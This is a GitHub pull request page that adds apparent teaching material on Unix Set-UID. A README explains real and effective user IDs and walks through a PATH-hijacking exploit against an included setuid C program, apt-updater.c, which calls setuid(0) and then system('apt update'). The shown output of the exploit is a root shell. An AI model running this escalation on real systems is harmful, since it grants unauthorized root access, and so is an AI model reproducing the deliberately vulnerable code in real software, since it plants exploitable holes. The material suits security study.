Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SetUID Attack #16

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
32 changes: 32 additions & 0 deletions SetUID/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
Set-UID Concept
• Allow user to run a program with the program owner’s privilege.\
• Allow users to run programs with temporary elevated privileges\
• Example: the passwd program\
$ ls -l /usr/bin/passwd\
-rwsr-xr-x 1 root root 41284 Sep 12 2012 /usr/bin/passwd
Every process has two User IDs.\
• Real UID (RUID): Identifies real owner of process\
• Effective UID (EUID): Identifies privilege of a process\
• Access control is based on EUID\
• When a normal program is executed, RUID = EUID, they both equal\
to the ID of the user who runs the program\
• When a Set-UID is executed, RUID ≠ EUID. RUID still equal to the\
user’s ID, but EUID equals to the program owner’s ID.\
Setuid is a Unix access rights flag that allow users to run an executable with the file system permissions of the executable’s owner.

![image](https://user-images.githubusercontent.com/70282840/194762130-00d2b17f-72be-4cac-bd4c-24a7541e9761.png)

**Exploiting a setuid executable**
Use file attached

```$ mkdir /tmp/foo # create random directory to put the script

$ echo /bin/sh > /tmp/foo/apt # create the script that will launch /bin/sh

$ chmod 755 /tmp/foo/apt # mark it as executable

$ PATH=/tmp/foo:$PATH /usr/local/bin/apt-updater # override the PATH variable to that it contains /tmp/foo directory & execute the vulnerable program

id # we are root!

uid=0(root) gid=1001(creekorful) groups=1001(creekorful)
10 changes: 10 additions & 0 deletions SetUID/apt-updater.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#include <stdlib.h>
#include <unistd.h>

int main() {
setuid(0);

system("apt update");
system("apt upgrade -y");
return 0;
}